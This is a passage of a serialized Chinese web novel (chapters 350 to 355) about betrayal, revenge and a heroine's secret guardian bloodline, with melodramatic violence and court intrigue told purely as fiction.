岂料拓跋泽却忽然朝其半眯起眼睛来,伸手缓缓撩起了自己的袍角,继而轻轻抬起一脚猛地发力,一下便朝龙烨那正在高高崛起的屁股上踢了下去: “去死吧!这便就是你要的赏金!方才本皇子就是要你好好看清楚,牢牢记着你这辈子的葬身之地。哼,你以为你能骗得了本皇子,你以为本皇子不知道你是骁龙会副帮主的身份?就凭你,一个居心叵测,卖主求荣的卑鄙无耻小人,也配与本皇子谈条件?还试图妄想从本皇子这 里捞一笔,简直就是痴心妄想,自寻死路!如此蠢笨之人,留你有何用?” 拓跋泽咬牙切齿,对着龙烨狼狈落海的背影咬牙切齿地狠狠说道。 “扑通”一声,继而耳边便传来龙烨重重落水的声音。 拓跋泽始终都怒焰难平地睨看着脚下沉沉浮浮,两只胳膊不停地用力拍打着海面,大口大口地喘气着,可是蹦哒了没几下,便似是放弃了一般慢慢停止了挣扎。渐渐地,似是连整个人也很快便沉入到了海里,直到海水中那个越来越模糊的身影再无了任何声息。 无边无际的海面上,飓风骤起,瞬时间波涛汹涌澎湃的海浪一边嘶吼着,一边疯狂地涌过来拍击着正在昂首俯瞰着这波澜壮阔的奇景的拓跋泽正站立的脚下的千层岩,飞溅起数尺高的浪花…… 而当龙恩忐忑不安地飞奔赶回到捆绑龙烨的地方时,果然,除了地上所掉落的一捆空荡荡的绳索外,什么都已经不复存在了。 他默默的捡拾起地上的绳索,满腹的后悔与不安。沉默了片刻后,与轩辕翰最终先握手言和,达成了先合作找回衣上云的一致共识。 于是,在最为熟悉这片地形的龙恩的重新布置下,骁龙会联合轩辕翰所带来的侍卫一起,当然,还有半途中终于碰面了的梅志煊与易三少俩人。所有人暂时放下彼此之间所有的恩恩怨怨,抓紧时间,全力搜寻衣上云与龙烨,还有拓跋泽的踪迹。 可显然,至今已经搜遍了龙恩所布置的所有地方,却根本就没有任何消息报来。 此时,所有人都聚集在骁龙堂里,表面上看似一切都风平浪静,实则却个个都如坐针毡般坐立不安着,轩辕翰亲自主持着一切行动。这一刻,大家都将希望最后寄托在了至今都尚还迟迟未归的梅志煊与易三少身上,希望他们所寻去的地方,能带回唯一的好消息来。 “殿下,易三少与三皇子回来了。”程良忽然脚步匆匆地进来禀告道。 这一声,终于打破了眼前这片令所有人几乎都不敢大声呼吸,似是都快要窒息了一般的沉闷死寂的气氛。 见俩人肩并肩刚一踏进门来,轩辕翰便急急起身走了下来迎上去,着急地问:“怎么样?” 岂料话音刚落,易三少竟咬牙切齿地伸手一把紧紧提住了轩辕翰的衣领,逼近到他的眼前朝其一字一句狠狠怒道:“轩辕翰,我早就说过,丫头只要跟你在一起,就一定没有好事。你为什么总是缠着她,为什么就是不放过她,为什么?为什么?” “易三少……”见此,在场所有人顿时 第三百五十章:他撒谎! “大哥,救救我,你救救我,我不想死!你快救救我啊!” 眼看着龙烨所正在依附的那块千层岩的边缘已快要破裂,无力再继续支撑他的身体。而其身后因为涨潮的缘故,一层层汹涌澎湃的海浪亦正滚滚袭来,眼看着这一切即将把早已经体力不支的龙烨欲要吞没,龙恩忙摸索起身上的绳索来,想要将其抛下去把龙烨救起:“你等等,大哥马上来救你,坚持住,一定要坚持住……” 就在这电光石火之间,兰香急奔上前来,拦住了龙恩正欲抛下绳索的手,道:“住手,你要做什么?” 龙恩焦急地一边急急推开她的手,一边看着升的愈来愈高的水位,还有那不远处正席卷而来,气势汹汹的滚滚浪涛,颇为认真地解释道: “兰香,你也看到了,在这座因为海水常年不断冲刷着沉积岩,方才形成了现在这样由许多巨大的岩石群所形成的石山上,不但海风大,浪又急。尤其是在涨潮的时候,其巨大的海浪所形成的强大力量,伴着巨大的轰鸣声滚滚而来,远远比爆炸还要更具杀伤力。这大潮眼看着就要来了,我若是不马上将他救起的话,待会儿他瞬间便会被这海浪拍击地粉身碎骨,葬身于这片茫茫大海之中被吞噬掉的。” 岂料兰香用尽全力怎么都不肯松手,一脸坚定地狠狠道:“难道他不该死吗?” 听到兰香的话说的如此无情决绝又似云淡风轻,龙恩惊愕地愣住看着她的眼睛不可思议地道:“兰香,你怎么能这样说他?” 兰香遂昂起头来咬了咬牙,轻蔑又痛苦地回忆着道:“面对一个将自己卖到青楼妓院里,任凭千人骑万人跨,让人随意欺凌,摆弄糟蹋的与其有着不共戴天之仇的仇人,你说我该怎样说他?难不成,我还要感恩戴德的谢他!” 兰香说完,忍不住眼里竟闪烁起了晶莹的泪花,忙飞快地扭头一把将其悄悄抹掉,不想被龙恩看到,继而毫不示弱地对视向了他的眼睛,龙恩一时间里竟无言以对。 “大哥,救救我,我不想死!”这时,耳旁再次传来龙烨的呼救声,似是越来越急。 龙恩心里顿时亦更加着急:“兰香,我知道龙烨他以前所做的事不对,是他对不起你。可是,可是我们现在总不能见死不救,眼睁睁看着他去送死吧!” 不想兰香想都不想,脱口便出:“为何不可?他当年不是也亲手将我送进了万娇阁那个人间地狱么?在万娇阁里,他不也是眼睁睁看着我被人欺负吗?那时候,我才刚刚及笄,他又可曾怜悯同情过我半分,对我有过一丝一毫的歉意?” “他…我……”龙恩看看脚下的龙烨,又看看兰香,犹犹豫豫,欲言又止,感觉自己一时半会儿 似是很难与她说清楚自己心里的想法了。可情势所逼,根本没时间让他耐下心来仔细劝她。 他知道,纵使龙烨再该死,也绝不是此时就这样在自己的眼前死去。或许,龙烨该向自己好好做个交待,这些年,他待他不薄。更重要的是,他和北烈国之间又是怎么回事?他为何会落在海里,衣上云又去了哪里…… 在他死前,至少他得把这些都交待清楚了才行。 而就在龙恩左右为难之际,兰香深吸了口气,挺直腰身信誓旦旦地道:“今日,你若是敢将这条绳索抛下去救这个十恶不赦之徒,那我与你父女之情,从此彻底恩断义绝。” 龙恩听了兰香似是义正言辞的一番态度与决心,遂咬了咬牙,心一横,终是挣脱了兰香的手,将绳索一把大力地撒了下去:“兰香,对不起!请相信我,我一定会给你一个交代的。” “你……”见此,兰香流着泪默默地转身退了回去,算是彻底对这个男人死心绝望了。 龙烨被龙恩一拉拽上来,其方才所依附的那块岩石的所有棱角瞬间便被迎上来的一股巨浪拍的粉碎,龙烨回头惊看了一眼那块千疮百孔的岩石,顿时无力地瘫坐在了地上。 半晌后,他似是仍惊魂未定地吞吞吐吐对其身旁同坐着的龙恩致歉道:“大哥,我,我,我对不起你…当年,我真的不知道那个丫头是你的女儿!那时候,我也是被人设计陷害,走投无路,才会将她给卖了的!原本那户人家的那个老女人,她的意思其实是想让我神不知鬼不觉的把兰香给做了,永绝后患,彻底断了他那宝贝儿子所有的念想。我若早就知道她是你的女儿,说什么我也不能…我真的…唉!” 龙烨自觉,此时说什么都已经晚了,于是,索性收敛声音,直接自己亲自动手给了自己狠狠格外响亮的一记耳光“啪”。 半晌后,见龙恩始终坐着一动不动,也不说话,龙烨瞟了他一眼,心里顿时更加着急了起来:“大哥,你倒是说话呀,你不说话是什么意思?” 又沉默了一会儿,龙恩终于缓缓开了口:“龙烨,这几年在骁龙会里我待你不薄,可你为什么总是不听我的话,总是对我的命令阳奉阴违,你可知道?若不是我命人将你被秦王以苦肉计安排进来的细作所传出去的消息全都挡了回来给你,骁龙会早就完了。” 龙烨怔望向龙恩的脸,恍然大悟道:“什么?原来那些消息都是大哥挡回来的,我还以为是……”   第三百五十一章:万万没想到 红衣壮汉倒地后很快便断了气,然其眼睛却久久还一直瞪着龙烨的脸,似是死都不瞑目。 而龙烨眼睛眨都不眨一下,毫不留情的轻轻抬起脚来将他一脚踹开,好像比踹开一条狗抑或一只猫还要轻松,轻蔑极了地道:“哼...你是个什么东西?也配得到本帮主的承诺?去死吧!” 那人被踹开后刚好滚到了兰香的脚下,兰香看着那具如同一个球般突然滚向自己的尸体,顿时惊呆了。 在他倒地后所停留过的每一寸地方,到处都是鲜红的血流了一地,浓稠的血水四处蔓延开,海风吹过,阵阵腥味扑鼻而来,令她顿时作呕不止。 见此滥杀无辜,血腥残忍至极的场面,又见龙烨转身后所发出的犹如魔鬼般仰天狞笑着的丑恶嘴脸,一时间,万娇阁那几年里受尽屈辱如炼狱般的日子,二郎的惨死,娘的离世,世人对她的唾骂,讥讽与嘲笑,还有刚刚发生的燕儿的离开,一幕幕顿时间全部浮现在了兰香的眼前。 这些一辈子都挥不去的痛苦记忆,似是正在将她一点点吞噬掉一般。只见她身体颤抖的越来越厉害,咬牙切齿地直咯噔咯噔响,两只拳头亦紧紧攥了起来。 终于,她几乎聚集了全身的力气来猛地弯下腰一把拔出了正插在红衣壮汉腹部的那把匕首,深吸了口气直朝着龙烨的背影大吼了一声道:“龙烨,拿命来!” 龙烨正回头朝向龙恩一边走,一边想着过去后该如何向其解释,闻声顿时一惊转过了身去,刚好迎上了兰香手里的那把浮雕龙纹铜鞘匕首,当即被其瞄准刺中了心口位置。 兰香顿时惊愕地松开了手退回两步怔住,龙烨缓缓覆手上去捉住了匕首,却已无力将其拔出,只眼睁睁的看着兰香被吓得一脸苍白呆愣住的脸。 “兰香,你!”见此,龙恩顿时飞身过来,瞪大了眼睛看了一眼那柄插在龙烨胸口的匕首,继而又看向兰香的脸。 “我杀人了,我杀人了!不,不,他坏事做尽,是他该死,是他自己该死!他怎么能这样随随便便就将一个人想杀就杀,想卖便卖?是他活该,他咎由自取的。”兰香看着自己沾满鲜血的手,顿时惊慌失措的大喊大叫起来,似是疯了一般。 “他做错了事,自会受到应有的惩罚,可你一个姑娘家,怎么能举刀杀人呢?你怎么会成这个样子?你一点儿都不像是兰兰的女儿,兰兰她是那样的温柔贤惠,又善解人意。可你,你看看现在的你自己,和杀人魔鬼有什么两样?”此时的龙恩,亲眼看着兰香眼睛眨都不眨一下的杀人,觉得不可思议极了。 “你少在我面前装模作样提起我娘来,你不配!既然我娘那么好,你当年为什么还要抛妻弃子? 为什么要嫌贫爱富攀高枝去?你既然狠心抛弃了我们母女,为何又要留着那只手镯?是不是…你是不是用它来炫耀,炫耀曾经有一个愚蠢至极的女人为你心甘情愿受尽屈辱,却到死都还对你死心塌地,念念不忘呢?哼,恩将仇报,虚情假意的负心汉,你果然就是这样的人!这辈子,我再也不想看到你。”最后,兰香对龙恩撕心裂肺地吼了这一通后,便哭着转身飞奔离去。 “不,兰香,不是这样的,你听我说……” 然任凭龙恩再大声地呼喊,兰香始终头再也不回地离去…… 龙恩一脸凝重地蹲身扶着已然气息微弱极了的龙烨的肩膀,一时间里,一肚子的话却不知该从何说起? 这把浮雕龙纹铜鞘匕首,世间极为罕见珍贵。兰香方才的那一刀刺的太准又太狠,若是现在将其马上拔出,龙烨定会当场毙命,所以,只能是等死了。 许久后,龙恩看着龙烨胸口的那把匕首,缓缓道:“这把浮雕龙纹铜鞘匕首,是你我初遇时,你刚入骁龙会的时候,我亲手赠与你的。因为传说这把匕首上沾染了一股不正之气,我本意不想将它赠你,然你非要它不可,说你能镇住他。可万万没想到,如今丧命在这把匕首上的人竟然会是你自己。” 话说至此,龙恩深看了似是极为痛苦的龙烨一眼,继续幽幽道:“事到如今,你要我怎么说你呢?难道真是到死了,我们兄弟也只是有缘无份吗?这些年里,我根本分不清你对我所说过的话里,究竟有几分真几分假?你我之间情同手足,不求同年同月同日生,但愿同年同月同日死。曾经的誓言,你可都还记得?世间的事,果然是‘多行不义必自毙’。然此生犯了错,来世好好悔过,20年后便仍能是好汉一条。可你我的兄弟情分,却就只有这一世,不是吗?” 弥留之际,昏昏沉沉中,听到耳旁龙恩的真情流露,哽咽的声音。龙烨口中鲜血呕吐不止,奄奄一息地道:“大哥,我错了,我真的错了,都是我连累了你。可我真的不知道那个劫走若曦的人究竟是谁?除了用若曦换黄金千两以外,我真的和他什么交易都没有了,他自始至终都不愿意透露他的信息半个字,颇为谨慎。大哥,不要怪我,那几年里,我是真的被人给欺压怕了。大哥,兰香的事,真的对不起,这辈子欠你的,下辈子我一定来找你还,对不起,真的对不起……” 龙烨在龙恩的怀里,终于缓缓地闭上了一双泪眼。 而龙恩亦闭起眼睛来,高高仰起头将那即要落下的泪水倒回了眼眶…… &nbs 第三百五十二章:诈尸清辉阁 就在众人正转身欲要散去,准备回去收拾收拾连夜启程回西秦时,兰香忽然犹犹豫豫的开了口: “秦王殿下,兰香还有一事启禀,是关于燕儿的后事处理的。不知,我们是该将它送回城西衣府安葬呢?还是就地安葬?这件事,本不该劳烦秦王殿下,可燕儿生前是衣姑娘唯一的贴身丫鬟,本应最好由衣姑娘来决定,可是衣姑娘她如今下落不明。燕儿,她也是为了寻回主人,又被兰香拖累,方才不幸落了个客死异乡的结果。故此,还请秦王殿下代衣姑娘定夺?” 想着燕儿是因为自己才丧命,兰香本有心想要自己帮她好好料理后事,可一想起燕儿至死都只心心念念着她的小姐,兰香知道她的心愿,所以又迟疑了。 可若是想要让衣府那样的大户人家厚待一个卑微的小丫鬟,怕是只有轩辕翰才能做到了。于是,她斗胆向其请求道。 轩辕翰稍作思索,冷声说道:“燕儿倒也算是个忠仆,不辞辛苦千里迢迢地来此寻主,又与云儿自小相伴,想必云儿日后定会时常思念起她的。如果是云儿的话,她一定不会让她客死异乡,落得个孤魂野鬼的悲惨下场。” 一念至此,轩辕翰便下令:“程良,就将燕儿的尸体就地火化后,将其骨灰一起带回西秦去,着令让衣府的人安排将其厚葬,就说是本王的命令。” “属下遵命。”程良拱手领命。 “既然如此,兰香这就下去替燕儿准备准备,送她上路。” 闻此,兰香顿感如释重负,欣慰地抹了把眼泪,便与程良一道转身欲出门去速办这事儿。 岂料刚一回头转过身去,便与那一直守着燕儿尸身的年轻守卫冲撞了进来碰了个正着,程良眼疾手快的一把及时扶住了兰香的胳膊,方才使她没有被撞倒在地。 而那似是见鬼了一般跌跌撞撞地急奔进来的年轻守卫,却是已然来不及避闪,直接连连后退了两步一屁股重重地骑坐在了身后的门槛上,一手捂着吃痛的屁股,遂一踉踉跄跄地起身来便“扑通”一声跪在了轩辕翰的面前,似是忽然变得口痴了一般的结结巴巴道: “秦王殿下,不好了,诈...诈...诈尸了,你快去看看,快去...快去看看啊!” “你说什么?什么诈尸?”闻声,程良急急松开了附在兰香手臂上的手,过去转而捉住年轻守卫的胳膊问。 “燕儿她,燕儿她,她,她……”年轻守卫似是想要尽力将语气放和缓些,不想却显然是被什么情况吓得不轻,越来越急的厉害,索性最后都只剩下了一些谁都看不明白的手舞足蹈的动作,一个字也说不清楚了。 “过去看看!”见此,轩辕翰眯了眯眼睛,遂一撩起袍角来便大步跨出 了门去,在场所有人全都一起不明所以的跟了过去。 黑沉沉的夜下,东苑后院角落上的一个名曰“清辉阁”的独立小屋门前,隐隐现出着一盏正发出昏暗的烛火之光的白色灯笼。 寂静的夜里,一轮弯弯的月亮清辉流转,晚风轻拂着小屋两旁茂密的翠竹林,发出沙沙沙沙的响声来。 门前高悬着的这盏白灯笼,乃是特意为燕儿的离去所挂上的。 可是,明明只安放着燕儿一人尸身的清辉阁里,此刻却正在不停地传出各种各样似是在砸门砸窗,砸东西的各种刺耳又诡异的声音来:“哗啦,咔嚓嚓,咣……” 清辉阁的门外,被一把坚固的大锁牢牢地锁死着,门前院子里,十几个守卫正畏畏缩缩的蜷挤在一起个个瑟瑟发抖着。 一进到院子里来,程良便忙脚步匆匆地疾步上前朝那看守的守卫质问道:“里面发生了什么事?” 闻声,一名守卫战战兢兢的回过头来朝他开口说道:“启禀程将军,里面有…有…有鬼。” “放肆,朗朗乾坤,哪儿来的什么鬼?”程良当即厉声朝其怒喝了一声道。 “不是的,真的有鬼,将军若是不信的话,您自己听听看。这清辉阁里,安放的明明就只有一个死人而已,可现在……” 那名守卫正说着,岂料方才那刺耳诡异的声音竟再次从屋内响起:“咔嚓嚓,咣……” “鬼啊!”闻此,那十几名守卫竟齐齐大喊了一声后拔腿便跑,一溜烟儿的功夫,便全都不见了人影。 “回来,都给我回来,混账!”见此,程良顿时勃然大怒地回头朝其仓皇而逃的背影吼了一嗓子道。 这时,轩辕翰等人亦已经都赶来到了清辉阁的院子里,程良遂朝其请示欲要破门而入:“殿下。” 轩辕翰一脸冰冷,身姿颀长英挺,巍岸如山,一袭黑衣劲装,神秘威严、浑身散发着狂妄霸气。此时就如同夜之神祗,双手负后着立于苍穹之下,睥睨苍生。 只见他微微对其点了点头,程良便立刻转身上前一脚便将那门锁踢了开来,正准备抬脚进去,兰香上前开口将其阻止道:“等等,程将军,让我来。” 程良回头得到主子的授意后,退了下来在门口守着。 兰香遂双手轻轻地附上了那张冰冷的门板将其推了开来,方见到从脚下门槛处开始起,屋内竟是一地狼籍的瓷器碎片以及大大小小各种被扔的或好或坏,尽是一片七零八乱的家具等各类物件。却在屋内的那张小床上,早已不见了燕儿的身影。 见 第三百五十三章:莫名消失的伤口 听到兰香所发出来的一阵疾呼声,一直寸步不离地守在门外的程良立刻推门而入了进来。 看着兰香正哭着拼命地想要将倒在地上的燕儿扶起身来,便忙飞快地上前去一把替其将燕儿横抱了起来,着急地问:“兰香姑娘,这里到底发生了什么事?燕儿的尸身怎么会跑到这里来?” 兰香抹了一把眼泪,哽咽着激动地道:“不,不,不,程将军,燕儿她并没有死,赶快将她抱出去找人诊治,快呀!” “你说什么?这是真的?”程良显然被这话亦惊愣住了,顿时深看向了燕儿不知何时果然已变得红扑扑的脸,然当他再次回过神来细细感觉到怀里她的温度时,不禁瞬间又惊又喜了起来。 “千真万确!她刚刚得知了衣姑娘被人掳走的消息,又晕过去了。你还傻愣着干嘛,你倒是赶快走啊!得尽快帮他找一个医术高明的人好好检查检查才行,不知道这次晕倒究竟是什么原因。”看着程良久久呆住止步不前,兰香催促道。 “好,放心吧!人有现成的。”程良一抱紧燕儿便夺门而出,只不过一溜烟儿的功夫,便由易三少亲自出马,替其做了一番彻底的检查,却是被其结果惊呆了: “怪,怪,怪,真是太怪了,这简直就是奇迹!听骁龙会里的人说,龙烨的毒镖上所淬之毒,是他自己合成的一种极为罕见的剧毒,此毒就连龙烨都没有解药,我也曾亲自检查过那支飞镖,确实如此,可见其心肠有多狠毒。没想到,竟还有人身中此毒能活着的,这个小丫头可是第一个。” 闻此,兰香顿时露出一脸的喜悦,却忽又有些忧心地上前问道:“依照三少的意思,是不是说燕儿体内的毒素已经彻底清除了呢?不会有什么残留吧?既然如此,她又怎会晕倒?” 易三少回头看着燕儿正在熟睡的脸,幽幽道:“你自己看看她身上所中毒镖的位置,那么深的刀口,不要说留疤了,如今甚至已经连一点儿痕迹都没有了,皮肤完好无损。你再看看她身上的衣裳,上面的血迹都还没干呢,伤口却似是从未出现过在她的身上一般。至于晕倒,那是因为受到了刺激,一时情急,气血攻心所致而已,休息片刻便会清醒过来。” 兰香这才松了口气,继而又急急去查看燕儿的伤口位置,方才意识到自己刚才在清辉阁一时激动,检查了她的全身,却忽略了其最重要的伤口位置: “果真如此,可我明明亲眼看着那只毒镖扎进了燕儿的肩头,亲眼看着燕儿在衣姑娘的怀里咽了气。为此,衣姑娘自己也被龙烨的剑刺伤,血都滴到了燕儿的伤口上。可怎么会,怎么会什么都没有了呢?” 这时,人群后面的陆天麟似是忽然想起了什么, 瞬间瞪大了眼睛疾步上前看了一眼燕儿早已不复存在了的伤口,问兰香:“你说什么?衣小姐被人刺伤,她的血滴在了燕儿的伤口上,这是真的吗?” “的的确确,千真万确,衣姑娘的鲜血一滴一滴地滴下来,她眼睛眨都不眨一下,当时,想她一定是愤怒极了。”兰香再次回忆着,确定道。 顿时间里,在场所有人包括轩辕翰全都惊呆了。 然陆天麟闻此,却似是陷入了一片深深的沉思之中。 一屋子的人沉默了半晌后,轩辕翰开口终打破了所有人的这片沉寂道:“好了,无论如何,能够活着便是最大的幸运。既然燕儿已经没事了,那我们就按照原先的计划正常进行,马上启程回西秦。兰香,你一路负责照顾好她,直到将其安全送回城西衣府。” 兰香俯身领命:“是。” 随之,所有人便络绎不绝地相继开始退了出去,各自准备离开。 沉沉暗夜里,回西秦的途中。 易三少与梅志煊并未选择与轩辕翰一道同行,而是从骁龙会里一出来,易三少便声称俩人还有要事相谈,一道向着南安皇宫奔去,如今已然知道了衣上云的去向,他们当然是私底下要单独行动。 轩辕翰自是也不会相信今日所有人在骁龙会的偶遇,会是一场如此之巧合。但易三少与梅志煊俩人,根本就是志不同道不合的两路人,平日里并无任何交集,到底是什么让他们相识并牢牢抱作了一团。 轩辕翰正在思索,身旁的程良已然耐不住心里的疑惑,开口问道:“殿下,属下不明白,这三皇子不是说在我西秦里寻找他们失踪了多年的嫡公主吗,如今怎么又与易三少突然纠缠在一起,也跑到骁龙会来了?这个东宁国三皇子可并不简单,一向深藏不露城府极深,该不会是,他要与易三少联手合谋什么吧?” 轩辕翰听了冷声道:“不会的,易三少根本就无心朝堂,他不会掺和这些事的!” “那他们想做什么?”程良一听,似乎更加猜不透了。 轩辕翰默想了会儿,深邃的眼神忽然一定,道:“如果本王没猜错的话,他们的目标应该都是云儿?” “衣姑娘…这易三少对衣姑娘一直死心塌地,他到处找衣姑娘的下落属下还能理解,可衣姑娘又不是三皇子要找的什么嫡公主…嫡公主……“ 程良说着说着,似是忽然明白了什么,心里不禁顿时一惊,看向 第三百五十四章:远在天边,近在眼前 轩辕翰急急勒马停了下来,道:“果真如此!程良,速速将那幅本王重新拼凑临摹出来的守护者画像拿来。” 如今的轩辕翰行事日渐更加沉稳内敛,就连笔墨丹青的造诣亦是愈加深厚,其笔下所画的人物风姿绝世、衣带飘逸、气度从容,堪堪比那陆贤更要技高一筹。 程良上来一将画轴缓缓打开,陆天麟顿时惊呆了,叹道:“殿下这人像画的丝丝入微,形神兼具,栩栩如生,真是让人惊叹啊!” 然轩辕翰却只自顾自开口冷声着问:“本王竟没想到守护者竟是有着如此绝世容颜的一名女子。只是,这样恍若天人一般的一个人,她究竟能去哪儿呢?” “此人远在天边,近在眼前,殿下请看!” 陆天麟故作神秘地说着,便伸出一只手来捉起衣袖将画像的脸部遮了起来,只露出包含两只眼睛以上的部位来。 顿时间,轩辕翰被自己眼前所看到的情景惊呆了:“这是…这是...是云儿!” 闻声,程良亦惊愕地凑了上来仔细瞧了瞧,望向轩辕翰的脸:“难怪殿下一直总觉得这双眼睛甚为熟悉的感觉,原来这是衣姑娘的眼睛。” 陆天麟遂朝着俩人点了点头,这才深吸了口气,缓缓开始说了起来道:“殿下,如今西秦城西甚是传闻说衣府大小姐非同一般常人,昏迷了一年之久还能清醒过来,乃是因为受到了凤凰神力的庇护,传言皆说她醒来的那夜里,有七彩凤凰虚影曾出现在衣府上空,还有……” 陆天麟所说的这一切,轩辕翰又何尝不是早已知晓。只是,他真的没想到事实真相会是这样的。 陆天麟的话依然滔滔不绝地在他耳边回响着,然轩辕翰却愣愣地只注视着他的嘴巴一动一动地似是根本听不到他在说什么:“所以,父亲推断衣小姐她极有可能便是失踪了多年的血族之后,西秦守护者后人。这才在得知衣小姐失踪后,让天麟留在城南帮殿下寻人。” “这还真是远在天边,近在眼前!”显然,轩辕翰被这样的结果惊呆了。 陆天麟却依旧激动地不停证明着:“根据天麟和父亲多年以来所收集的资料,血族皇室的血液,俱都是遗传了其先祖的奇特血统,可解世间一切奇毒。一开始,天麟也还有些不信,但当天麟在此亲眼目睹了衣小姐的婢女燕儿的死而复生后,除了是因为衣小姐的血族之血滴落在她的伤口帮她解了毒以外,还能如何解释这一切呢?” “怎么会是这样?”轩辕翰早已脸色沉沉,双拳紧紧握起,在他那副甚感不可思议的眼神里,似是仍在努力隐忍着那几乎已经复杂到了极点的心绪。 那个坚强又倔强,善良并勇敢,似是永远都无所畏惧的柔柔弱弱,小 小身躯顿显于眼前,俩人过去的一幕幕,她的一颦一笑,她的温软柔情,她的悲伤无助,她一切的一切全都开始在他的脑海里不断翻滚起来。 这时,顿然停了下来的陆天麟似是又想到了什么,忽认真地道:“其实,还有一点可以证明,殿下可以让衣上坤老实交代,看看衣上云到底是不是他的亲生女儿?衣府里一定有鬼,相信一问便知!” 轩辕翰顿了一下,冷冷道:“不用问了,云儿...她的确并非衣上坤所亲生。” “什么?那她便极有可能就是……”陆天麟瞬间瞪大了双眼,惊诧至极。 然轩辕翰紧接着又幽幽补了句:“不仅如此,云儿还是本王年幼的时候所遇到的那个救命恩人,坠落悬崖后拼了自己的命所留在这个世上唯一的血脉。” 此话一出,三人一起震惊地沉默了下来,似是一时间里就连周围的空气亦都跟着静止了一般,一股异样的气息在悄悄蔓延,飘散。 正在通往西秦的道旁两侧,是蜿蜒曲折环绕着的潺潺小溪,借着一片皎洁的月色,泛着粼粼波光,水面上时有几点溪流旁杏花的花瓣随着流水漂走。 粉白的杏花,鹅黄的迎春,翠绿的柳叶,一派温柔旖旎,到处春意融融,却是无人有心欣赏。 在他们的眼里,这溶溶夜色,似是也霎那间与各自同样纷杂的心情变得一样的黑暗深沉到了极致。 不知过了多久,陆天麟深深皱着眉头看向了轩辕翰的脸,一脸凝重,郑重其事地开口说道:“所以,殿下,为了统一这片大陆的宏伟大业,您真的...要处置了衣小姐吗?如若不然,根据守护者神秘力量之大的传闻,我们便永远没有可能对付得了璟帝,更别说整个灵空了。现在,衣小姐,似是尚还不知道自己真正身份的样子,若是殿下要动手,还需趁早!若是等她知道了一切,想她为了达成使命,定会向璟帝靠拢,反过来抗击我们的,到时候怕是……” 陆天麟的话到此戛然而止,然所有人都已对接下来的局势心知肚明。 就在这时,却只见轩辕翰原本就冷厉的脸色越来越沉,忽然“驾”了一声,自顾目视着前方的路策马扬鞭,奔腾而去,整个人似是在陷入沉思着,又似什么都没想。 陆天麟望着前方的路,看着轩辕翰离去的背影扬起阵阵 第三百五十五章:白发 “‘四海茶庄’…好像没怎么听说过呢?”轩辕玥蹙眉纳闷道。 “听说这是皇城里一家新开的茶庄,庄主经常在灵空到处走南闯北,对茶道茶艺颇为精通。可虽然是新开,却是在短短不足一月的时间里便成为了全西秦国规模最大,品类最全,质量最是上乘的茶庄,很受达官显贵们的欢迎呢!”婢女喜逐颜开,津津乐道。 “哦,那庄主果真如此厉害?”轩辕玥一边继续品茶,似是亦觉得那个庄主有些不简单的样子。 婢女点点头,正说着,似是忽然又想起了一事,遂稍作回忆开口说道:“哦,对了。前几日奴婢去茶室领新茶具,听茶室里出宫采办的公公说,如今就连秦王府秦王妃所用的茶,也是由四海茶庄在供了呢!” 闻此,轩辕玥心里忽然一顿,遂停下了手里的动作,抬眼认真地看向婢女的脸,问道:“你确定你没有听错?那秦王妃用的也是四海茶庄的茶?” 婢女将眼睛看向一旁想了想,确定道:“奴婢见那公公说的有声有色,说是最后还是那位庄主亲自送秦王妃出门的,把那两人的一举一动,一颦一笑模仿的仔仔细细,看起来并不像是在吹嘘。哦,对了,那公公还说当日与秦王妃一起走出四海茶庄大门的,还有西秦学院大小姐陆天骄。又说那两人当日看起来貌合神离的样子,像是闹什么别扭了?” “哼...这两个居心叵测的女人在一起狼狈为奸,不知道到底在合计着什么?还好秦皇叔对这两个女人都不上心,否则……唉!”轩辕玥说着,轻叹了口气。 不经意间,目光又重新落向了手中的珐琅彩琉璃玉茶碗上,看着上面镶嵌着的一圈娇嫩精美的立体梅花图案,遂口中喃喃自语道: “‘四海茶庄’...那秦王妃不是一直都唯独只钟爱于她母国皇室所用的**茶品和茶具吗?如今又怎么会看上我西秦市井里的这种粗陋货色呢?她可一点儿也不像是什么入乡随俗的主,这里面一定有问题!” 一念至此,轩辕玥忽然饶有兴致地转动起手中的茶碗来,含笑着对其自言自语道:“也罢,反正本公主呆在这宫里也快要憋闷死了,索性我们也去四海茶庄里凑凑热闹,看一看这新的闻名遐迩的西秦第一茶庄究竟有何奇特?竟能将平日里那般挑剔的秦王妃亦吸引去了。” 身旁的婢女隐隐一听到轩辕玥所发出的这阵喃喃之音,遂惊慌地道:“公主,秦王殿下不在秦王府,您没有理由出宫去,您该不会...该不会是又想和我换衣偷偷溜出宫去吧?” 轩辕玥遂抬起头来仰望着婢女的眼睛,眼巴巴地对其眨了眨自己那双明亮的大眼睛,神秘的一笑,似是那般的灿烂又无辜。 而 婢女对她此时所发出的这套动作和不怀好意的笑实在是太了解,太熟悉了。曾经多少次,她提心吊胆拿自己的脑袋替她隐瞒,又有多少次佯装时她太过紧张不慎露出了马脚被皇后识破,屁股给那厚厚的板子打的差点儿开了花儿。 一念至此,婢女艰难地吞咽下一口口水,心中顿时一颤,回过神来忙跪身下去在其身旁双手附上其臂弯,撅着嘴一边将其轻晃着,一边乞求道:“公主,公主殿下,求求公主饶了奴婢吧,奴婢实在是害怕极了,不敢再假扮公主了,奴婢怕早晚有一日会掉了脑袋呢!” “谁说这次本公主要你假扮本公主了?想的倒美!”轩辕玥最后抿了口茶汤后,站起身来一面朝榻边踱步过去,一面欢快地说道。 “多谢公主,多谢公主!”闻此,婢女忙抚了抚自己的小心脏,长长的舒了口气,似是觉得终于逃过一劫,遂便忙起身来上前去小心伺候。 岂料轩辕玥重新回到榻上后,却忽又炸了句:“本公主这次不要你假扮,本公主要你去跟那出宫采办的公公说,本公主和你要与他一道出宫去四海茶庄走走!” “啊……”闻声,将手里的帐蔓刚刚撒下的婢女瞬时间惊愕地僵住了脸上的表情,顿时蔫在了一边儿,似是一颗欲要旱死的秧苗久久等不到一滴甘霖的降落,再也活不过来了一般。 “哼……”而轩辕玥却透过那一帘华丽的轻纱遮挡,腻看了一眼婢女似是已不得呼吸的脸独自轻笑了一声后,便缩回到温暖的被窝里兀自转过身去朝着榻内侧,满腹激动地在心里迫不及待地开始盘算起来…… 第二天天一亮,秦王府燕栖阁里。 陆天骄便已早早起身来梳洗打扮好,兀自走出屋内亭亭玉立在门口的石阶上,温柔地举目望了望眼前的亭台水榭,满眼繁华,紫姹红嫣,群芳灿烂,早已是关不住的满园春色一片良辰美景,却终是无人陪赏被时光辜负,只能眼睁睁看着其一日日随着时间渐渐谢幕落去,如此寂寥忧伤的心情,谁又能懂? 